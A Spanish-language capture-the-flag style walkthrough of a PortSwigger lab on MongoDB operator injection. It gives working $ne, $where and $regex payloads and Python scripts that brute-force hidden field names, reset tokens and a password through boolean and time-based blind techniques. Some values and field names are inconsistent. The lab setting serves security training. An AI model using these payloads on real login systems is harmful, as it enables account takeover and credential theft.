Exploiting NoSQL operator injection to extract unknown fields
Laboratorio de Portswigger sobre NoSQLI
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
La funcionalidad de búsqueda de usuarios para este laboratorio está impulsada por MongoDB, una base de datos NoSQL, la cual es vulnerable a inyección NoSQL. Para resolver el laboratorio, debemos iniciar sesión como carlos
Resolución
Al acceder a la web vemos esto
Pulsamos sobre My account y nos logueamos con las credenciales wiener:peter
Si capturamos la petición con Burpsuite, vemos que se está enviando un JSON con el nombre de usuario y la contraseña
Hay dos tipos de inyección NoSQL
Syntax Injection> Ocurre cuando se puede romper lasintaxisde laconsulta NoSQL, lo que le permiteinyectarsu propiacarga útil. Lametodologíaes similar a la utilizada en lainyección SQL. Sin embargo, lanaturalezadel ataque varía significativamente, ya que lasbases de datos NoSQLutilizan una variedad delenguajes de consulta,tipos de sintaxis de consultay diferentesestructuras de datosOperator Injection> Ocurre cuando puedes usaroperadores de consulta NoSQLparamanipularconsultas
En este laboratorio vamos a explotar una Operator Injection. Las bases de datos NoSQL suelen utilizar operadores de consulta, que proporcionan formas de especificar las condiciones que deben cumplir los datos para ser incluidos en el resultado de la consulta. Podemos encontrar payloads en Hacktricks https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html y en PayloadAllTheThings https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection. Algunos ejemplos de operadores de consulta de MongoDB son los siguientes
$where- Coincide con documentos que satisfacen unaexpresióndeJavaScript$ne- Coincide con todos los valores queno son igualesa un valor especificado$in- Coincide con todos los valores especificados en unamatriz$nin- Coincide con documentos donde el valor de un campono estáen una lista especificada de valores$regex- Selecciona documentos donde los valores coinciden con unaexpresión regular$eq- Filtra documentos donde el valor de un campo seaiguala un valor específico$gt- Coincide con documentos donde el valor de un campo esmayor queel valor especificado$lt- Coincide con documentos donde el valor de un campo esmenor queel valor especificado
En el contexto de bases de datos NoSQL como MongoDB, un documento es una unidad de datos almacenada, similar a un registro en bases de datos relacionales. Los documentos están estructurados en formato JSON, lo que significa que pueden contener varios campos y valores
1
2
3
4
5
6
7
8
9
10
11
12
{
"_id": 1,
"username": "juan123",
"password": "mypassword123",
"email": "juan@example.com",
"first_name": "Juan",
"last_name": "Pérez",
"date_of_birth": "1994-06-15",
"status": "active",
"role": "user",
"last_login": "2025-03-01T10:30:00Z"
}
Es posible que podamos inyectar operadores de consulta para manipular consultas NoSQL. Para identificar si es posible, debemos inyectar distintos operadores en los inputs y revisar las respuestas en busca de mensajes de error u otros cambios. En los inputs que se envían como un JSON, podemos insertar operadores de consulta como objetos anidados
1
{"username":"wiener"}
1
{"username":{"$ne":"invalid"}}
Para las entradas basadas en URL, podemos insertar operadores de consulta a través de parámetros de URL
1
username=wiener
1
username[$ne]=invalid
Si esto último no funciona, podemos cambiar el método de solicitud de GET a POST, cambiar el Content-Type a application/json, agregar un JSON en el body e inyectar operadores de consulta en el JSON. Podemos utilizar la extensión Content Type Converter para convertir automáticamente el método de solicitud y cambiar una solicitud codificada en URL POST a JSON
Para probar si podemos inyectar operadores, podemos intentar agregar el operador $where como un parámetro adicional y luego enviar una solicitud donde la condición se evalúe como falsa y otra que se evalúe como verdadera. Este primer payload es para evaluar la condición como verdadera
1
{"username":"wiener","password":"peter", "$where":"0"}
Este otro payload es para evaluar la condición como falsa
1
{"username":"wiener","password":"peter", "$where":"1"}
Modificamos la petición, con el operador de consulta $ne nos saltamos la contraseña y con el operador $where podemos modificar la condición de la consulta. En este caso como el usuario existe y la web es vulnerable a Operator Injection nos logueamos correctamente
Podemos comprobar que hemos podido acceder a la cuenta pulsando click derecho > Request in browser > In original session
Pegamos el enlace en el navegador y accedemos a la cuenta del usuario wiener
Si realizamos la misma consulta pero cambiando el valor de $where para evaluar la condición como falsa nos devuelve un error, como hay una diferencia entre las respuestas, esto puede indicar que la expresión de JavaScript dentro de la cláusula $where está siendo evaluada
Podemos aprovechar esto para enumerar usuarios, para ello enviamos la petición al Intruder y seleccionamos el campo de usuario
Copiamos los usuarios del diccionario https://portswigger.net/web-security/authentication/auth-lab-usernames como payloads
En la pestaña de Settings vamos a añadir una expresión regular, para ello pulsamos en Add
Seleccionamos el texto Invalid username or password
Iniciamos el ataque y vemos para el usuario carlos nos devuelve una respuesta diferente
Al parecer carlos tiene la cuenta bloqueada y a pesar de que funciona la inyección no podemos acceder a su cuenta
Si nos dirigimos al panel de login y pinchamos en Forgot password? vemos este panel
Al no tener acceso al email no podemos ver el código
Como hemos podido usar un operador que permite ejecutar JavaScript como $where, es posible que podemos utilizar el método keys() para extraer el nombre de los campos del documento de JavaScript. En JavaScript el primer campo es _id por defecto y se pueden listar los campos de un objeto de la siguiente forma
Como podemos inyectar código JavaScript, vamos a crear una función que nos diga cuantos campos tiene este documento, en este caso vemos que tiene cinco campos
1
2
3
4
5
{
"username": "carlos",
"password": { "$ne": "testing" },
"$where": "function(){ if(Object.keys(this)[4]) return 1; else 0; }"
}
Sabemos que tiene 5 campos porque el índice empieza en 0 y si intentamos acceder al campo número 5 nos devuelve una respuesta no exitosa
Una vez sabemos que el documento tiene 5 campos vamos a averiguar cual es el nombre de esos campos
1
2
3
4
5
6
7
{
"username": "carlos",
"password": {
"$ne": "testing"
},
"$where": "function(){ if(Object.keys(this)[0].match('_id')) return 1; else 0; }"
}
Comprobamos que el segundo campo es username
1
2
3
4
5
6
7
{
"username": "carlos",
"password": {
"$ne": "testing"
},
"$where": "function(){ if(Object.keys(this)[1].match('username')) return 1; else 0; }"
}
Comprobamos que el tercer campo es password
1
2
3
4
5
6
7
{
"username": "carlos",
"password": {
"$ne": "testing"
},
"$where": "function(){ if(Object.keys(this)[2].match('password')) return 1; else 0; }"
}
Como anteriormente nos ha dicho que cada usuario tiene un email, he probado y efectivamente el cuarto campo es email
1
2
3
4
5
6
7
{
"username": "carlos",
"password": {
"$ne": "testing"
},
"$where": "function(){ if(Object.keys(this)[3].match('email')) return 1; else 0; }"
}
El quinto campo no sabemos cual puede ser, por lo tanto vamos a tener que bruteforcearlo. Para bruteforcearlo lo primero que tenemos que hacer es obtener su longitud, en este caso al longitud es de 11 caracteres
1
2
3
4
5
6
7
{
"username": "carlos",
"password": {
"$ne": "testing"
},
"$where": "function(){ if(Object.keys(this)[4].length == 11) return 1; else return 0; }"
}
Vamos a enviar la petición al Intruder con este payload, una vez ahí vamos a seleccionar como tipo de ataque Cluster bomb y vamos a marcar ambos campos
1
2
3
4
5
{
"username": "carlos",
"password": { "$ne": "testing" },
"$where": "function(){ if(Object.keys(this)[4].match('^.{0}a.*')) return 1; else return 0; }"
}
El primer payload va a ser de tipo numérico y va a ir desde el 0 al 10, haciendo un total de 11 de longitud
Para el segundo payload vamos a utilizar todos los caracteres imprimibles de la librería string de python
1
2
3
4
5
6
7
8
# python
Python 3.13.2 (main, Feb 5 2025, 01:23:35) [GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import string
>>> dir (string)
['Formatter', 'Template', '_ChainMap', '__all__', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', '_re', '_sentinel_dict', '_string', 'ascii_letters', 'ascii_lowercase', 'ascii_uppercase', 'capwords', 'digits', 'hexdigits', 'octdigits', 'printable', 'punctuation', 'whitespace']
>>> string.printable
'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c'
Vamos a ir iterando para eliminar los caracteres que se repiten y vamos a hacer que se muestren uno debajo de otro
1
2
3
4
5
6
7
#!/usr/bin/python3
import string
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
for char in characters:
print(char)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
# python print_characters.py
0
1
2
3
4
5
6
7
8
9
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
!
"
#
$
%
&
'
(
)
*
+
,
-
.
/
:
;
<
=
>
?
@
[
\
]
^
_
`
{
|
}
~
Nos copiamos todo el output del script y lo pegamos como segundo payload
En la pestaña Settings nos dirigimos a Grep - Extract y pulsamos en Add
Señalamos Account locked: please reset your password
Efectuamos el ataque de fuerza bruta, primero debemos filtrar por Payload 1 y después por la expresión regular que hemos creado. Finalmente obtenemos que el campo restante, el cual es unlockToken
Como alternativa podemos usar este script en python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/python3
from pwn import *
import requests, signal, time, sys, string
import json
def def_handler(sig, frame):
print("\n\n[!] Saliendo ...\n")
sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
url = "https://0a7c00ce03078e0f81727b64005d00fb.web-security-academy.net/login"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
def makeRequest():
output = ""
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Output")
with open("output.txt", "w") as f:
for position in range(0, 11):
for character in characters:
json = {
"username": "carlos",
"password": {"$ne": "testing"},
"$where": "function(){ if(Object.keys(this)[4].match('^.{%d}%s.*')) return 1; else 0; }" % (position, character)
}
headers = {
"Content-Type": "application/json"
}
p1.status(json['$where'])
r = requests.post(url, headers=headers, json=json)
if "Account locked: please reset your password" in r.text:
output += character
f.write(character)
f.flush()
p2.status(output)
break
if __name__ == '__main__':
makeRequest()
Obtenemos el nombre del campo del documento de JavaScript
1
2
3
# python3 nosqli.py
[▖] Fuerza bruta: function(){ if(Object.keys(this)[4].match('^.{10}n.*')) return 1; else 0; }
[...../..] Output: unlockToken
Obtenemos que 16 es la longitud del valor que tiene el campo unlockToken gracias a este payload
1
2
3
4
5
6
7
{
"username": "carlos",
"password": {
"$ne": "testing"
},
"$where": "function(){ if(this.unlockToken.length == 16) return 1; else return 0; }"
}
Cambiamos el payload anterior por este otro, mandamos la petición al Intruder, seleccionamos como tipo de ataque Cluster bomb y seleccionamos las posiciones en las que van los payloads
1
2
3
4
5
6
7
{
"username": "carlos",
"password": {
"$ne": "testing"
},
"$where": "function(){ if(this.unlockToken.match('^.{0}a.*')) return 1; else return 0; }"
}
El primer payload va a ser de tipo numérico y va a ir desde el 0 al 15, haciendo un total de 16 de longitud
Como segundo payload vamos a usar el mismo que usamos la vez anterior
En la pestaña Settings nos dirigimos a Grep - Extract y pulsamos en Add
Señalamos Account locked: please reset your password
Efectuamos el ataque de fuerza bruta, primero debemos filtrar por Payload 1 y después por la expresión regular que hemos creado. Finalmente obtenemos que el valor del campo unlockToken es bccf47bbba9c5a20
Modificamos el script de python para bruteforcear el valor del campo unlockToken
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/python3
from pwn import *
import requests, signal, time, sys, string
import json
def def_handler(sig, frame):
print("\n\n[!] Saliendo ...\n")
sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
url = "https://0a7c00ce03078e0f81727b64005d00fb.web-security-academy.net/login"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
def makeRequest():
output = ""
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Output")
with open("output.txt", "w") as f:
for position in range(0, 16):
for character in characters:
json = {
"username": "carlos",
"password": {"$ne": "testing"},
"$where": "function(){ if(this.unlockToken.match('^.{%d}%s.*')) return 1; else 0; }" % (position, character)
}
headers = {
"Content-Type": "application/json"
}
p1.status(json['$where'])
r = requests.post(url, headers=headers, json=json)
if "Account locked: please reset your password" in r.text:
output += character
f.write(character)
f.flush()
p2.status(output)
break
if __name__ == '__main__':
makeRequest()
Obtenemos el valor de unlockToken pero es diferente, lo que significa que es dinámico
1
2
3
# python3 nosqli.py
[-] Fuerza bruta: function(){ if(this.unlockToken.match('^.{15}2.*')) return 1; else 0; }
[↑] Output: 691ba2e24d15a582
A veces, aunque provoquemos un error en la base de datos, esta no muestra una diferencia en la respuesta de la web. En esta situación, es posible que aún podamos detectar y explotar la inyección usando la cláusula $where y provocando un retraso en la respuesta con sleep(5000). Lo primero que debemos hacer es identificar el quinto campo y para bruteforcearlo lo primero que tenemos que hacer es obtener su longitud, en este caso al longitud es de 9 caracteres
1
2
3
4
5
6
7
{
"username": "carlos",
"password": {
"$ne": "testing"
},
"$where": "function(){ if(Object.keys(this)[4].length == 10) sleep(5000); }"
}
Lo siguiente es enviar la petición al Intruder con este payload, una vez ahí vamos a seleccionar como tipo de ataque Cluster bomb y vamos a marcar ambos campos
1
2
3
4
5
{
"username": "carlos",
"password": { "$ne": "testing" },
"$where": "function(){ if(Object.keys(this)[4].match('^.{0}a.*')) sleep(5000); }"
}
El primer payload va a ser de tipo numérico y va a ir desde el 0 al 9, haciendo un total de 10 de longitud
Como segundo payload vamos a seleccionar la lista de caracteres usada anteriormente
Iniciamos el ataque, filtramos por Response received y marcamos las peticiones que tienen más de 5000 milisegundos en responder
Con las peticiones señaladas pulsamos click derecho > Highlight y seleccionamos un color
Hacemos click sobre el filtro
Marcamos la casilla Show only highlighted items
Una vez hecho esto, ordenamos por Payload 1 y vemos que es resetToken, al parecer también es dinámico este valor, porque anteriormente tenía otro nombre
Nos creamos un script de python como alternativa al Cluster bomb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/python3
from pwn import *
import requests, signal, time, pdb, sys, string
def def_handler(sig, frame):
print("\n\n[!] Saliendo ...\n")
sys.exit(1)
# Ctrl + C
signal.signal(signal.SIGINT, def_handler)
url = "https://0a6500eb04601776824d6aae006d0026.web-security-academy.net/login"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
def makeRequest():
output = ""
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Output")
headers = {
'Content-Type': 'application/json'
}
with open("output.txt", "w") as f:
for position in range(0, 10):
for character in characters:
json_data = {
"username": "carlos",
"password": { "$ne": "testing" },
"$where": "function(){ if(Object.keys(this)[4].match('^.{%d}%s.*')) sleep(5000); }" % (position, character)
}
p1.status(json_data['$where'])
time_start = time.time()
r = requests.post(url, json=json_data, headers=headers)
time_end = time.time()
if time_end - time_start > 5:
output += character
f.write(character)
f.flush()
p2.status(output)
break
if __name__ == '__main__':
makeRequest()
Obtenemos el nombre del quinto campo del documento JavaScript
1
2
3
# python nosqli.py
[....\...] Fuerza bruta: function(){ if(Object.keys(this)[4].match('^.{9}n.*')) sleep(5000); }
[-] Output: resetToken
Obtenemos que 16 es la longitud del valor que tiene el campo resetToken gracias a este payload
1
2
3
4
5
6
7
{
"username": "carlos",
"password": {
"$ne": "testing"
},
"$where": "function(){ if(this.resetToken.length == 16) sleep(5000); }"
}
Cambiamos el payload anterior por este otro, mandamos la petición al Intruder, seleccionamos como tipo de ataque Cluster bomb y seleccionamos las posiciones en las que van los payloads
1
2
3
4
5
6
7
{
"username": "carlos",
"password": {
"$ne": "testing"
},
"$where": "function(){ if(this.restToken.match('^.{0}a.*')) sleep(5000); }"
}
El primer payload va a ser de tipo numérico y va a ir desde el 0 al 15, haciendo un total de 16 de longitud
Como segundo payload vamos a seleccionar el mismo que hemos seleccionado la primera vez
Iniciamos el ataque, filtramos por Response received y marcamos las peticiones que tienen más de 5000 milisegundos en responder
Con las peticiones señaladas pulsamos click derecho > Highlight y seleccionamos un color
Hacemos click sobre el filtro
Marcamos la casilla Show only highlighted items
Una vez hecho esto ordenador por Payload 1 y vemos que es resetToken, al parecer también es dinámico este valor, porque anteriormente tenía otro nombre
Nos creamos un script de python como alternativa al Cluster bomb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/python3
from pwn import *
import requests, signal, time, pdb, sys, string
def def_handler(sig, frame):
print("\n\n[!] Saliendo ...\n")
sys.exit(1)
# Ctrl + C
signal.signal(signal.SIGINT, def_handler)
url = "https://0a6500eb04601776824d6aae006d0026.web-security-academy.net/login"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
def makeRequest():
output = ""
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Output")
headers = {
'Content-Type': 'application/json'
}
with open("output.txt", "w") as f:
for position in range(0, 16):
for character in characters:
json_data = {
"username": "carlos",
"password": { "$ne": "testing" },
"$where": "function(){ if(this.resetToken.match('^.{%d}%s.*')) sleep(5000); }" % (position, character)
}
p1.status(json_data['$where'])
time_start = time.time()
r = requests.post(url, json=json_data, headers=headers)
time_end = time.time()
if time_end - time_start > 5:
output += character
f.write(character)
f.flush()
p2.status(output)
break
if __name__ == '__main__':
makeRequest()
Obtenemos el valor del campo resetToken
1
2
3
# python nosqli.py
[↑] Fuerza bruta: function(){ if(this.resetToken.match('^.{15}d.*')) sleep(5000); }
[▝] Output: e82ead90bd24480d
El siguiente paso es averiguar como podemos proporcionar el valor. He capturado la petición a /forgot-password y la he mandado al Repeater, si nos fijamos bien vemos que el Content-Length es de 2710
Si hacemos la petición a /forgot-password?foo=invalid vemos que el resultado sigue siendo el mismo. Esto lo hacemos para ver si nos arroja algún error
Si hacemos la petición a /forgot-password?691ba2e24d15a582=invalid el resultado sigue siendo el mismo
Sin embargo, si hacemos la petición /forgot-password?unlockToken si que cambia la respuesta
Si accedemos a /forgot-password?unlockToken=691ba2e24d15a582 vemos un panel mediante el cual podemos cambiar la contraseña al usuario carlos
Nos logueamos como el usuario carlos
Una alternativa si no podemos usar JavaScript es emplear el operador $regex. Si la respuesta recibida es diferente a la que recibimos cuando enviamos una contraseña incorrecta, esto indica que la aplicación puede ser vulnerable. Para comprobar esto, usamos este payload y vemos que obtenemos una respuesta diferente a la habitual
1
2
3
4
{
"username": "carlos",
"password": { "$regex": "^.*" }
}
Mediante este payload podemos bruteforcear la contraseña del usuario carlos. Debemos mandar la petición al Intruder, cambiar el tipo de ataque a Cluster bomb y seleccionamos los campos a bruteforcear
1
2
3
4
{
"username": "carlos",
"password": { "$regex": "^.{0}a.*" }
}
Como primer payload vamos a elegir un número alto, debido a que con $regex no podemos saber la longitud de la contraseña
Como segundo payload vamos a seleccionar el mismo que hemos seleccionado la primera vez
En la pestaña de Settings vamos a añadir una expresión regular, para ello pulsamos en Add
Señalamos Invalid username or password
Efectuamos el ataque de fuerza bruta, primero debemos filtrar por Payload 1 y después por la expresión regular que hemos creado. Finalmente obtenemos la contraseña la cual es k0rytwcnjd9138967nur
Como alternativa al Cluster bomb podemos usar este script en python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/python3
from pwn import *
import requests, signal, time, sys, string
import json
def def_handler(sig, frame):
print("\n\n[!] Saliendo ...\n")
sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
url = "https://0a6600d8049f2b72804ed06900ef0098.web-security-academy.net/login"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
def makeRequest():
output = ""
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Output")
with open("output.txt", "w") as f:
for position in range(0, 50):
for character in characters:
json = {
"username": "carlos",
"password": {"$regex": f"^.{{{position}}}{character}.*"}
}
headers = {
"Content-Type": "application/json"
}
p1.status(json['password'])
r = requests.post(url, headers=headers, json=json)
if "Account locked: please reset your password" in r.text:
output += character
f.write(character)
f.flush()
p2.status(output)
break
if __name__ == '__main__':
makeRequest()
Obtenemos la contraseña
1
2
3
# python nosqli.py
[▄] Fuerza bruta: {'$regex': '^.{20}A.*'}
[ ] Output: tdvrtxogyrvr626it7w7
Sabemos que la contraseña es correcta porque cuando nos dirigimos al login e iniciamos sesión nos dice que la cuenta está bloqueada




































































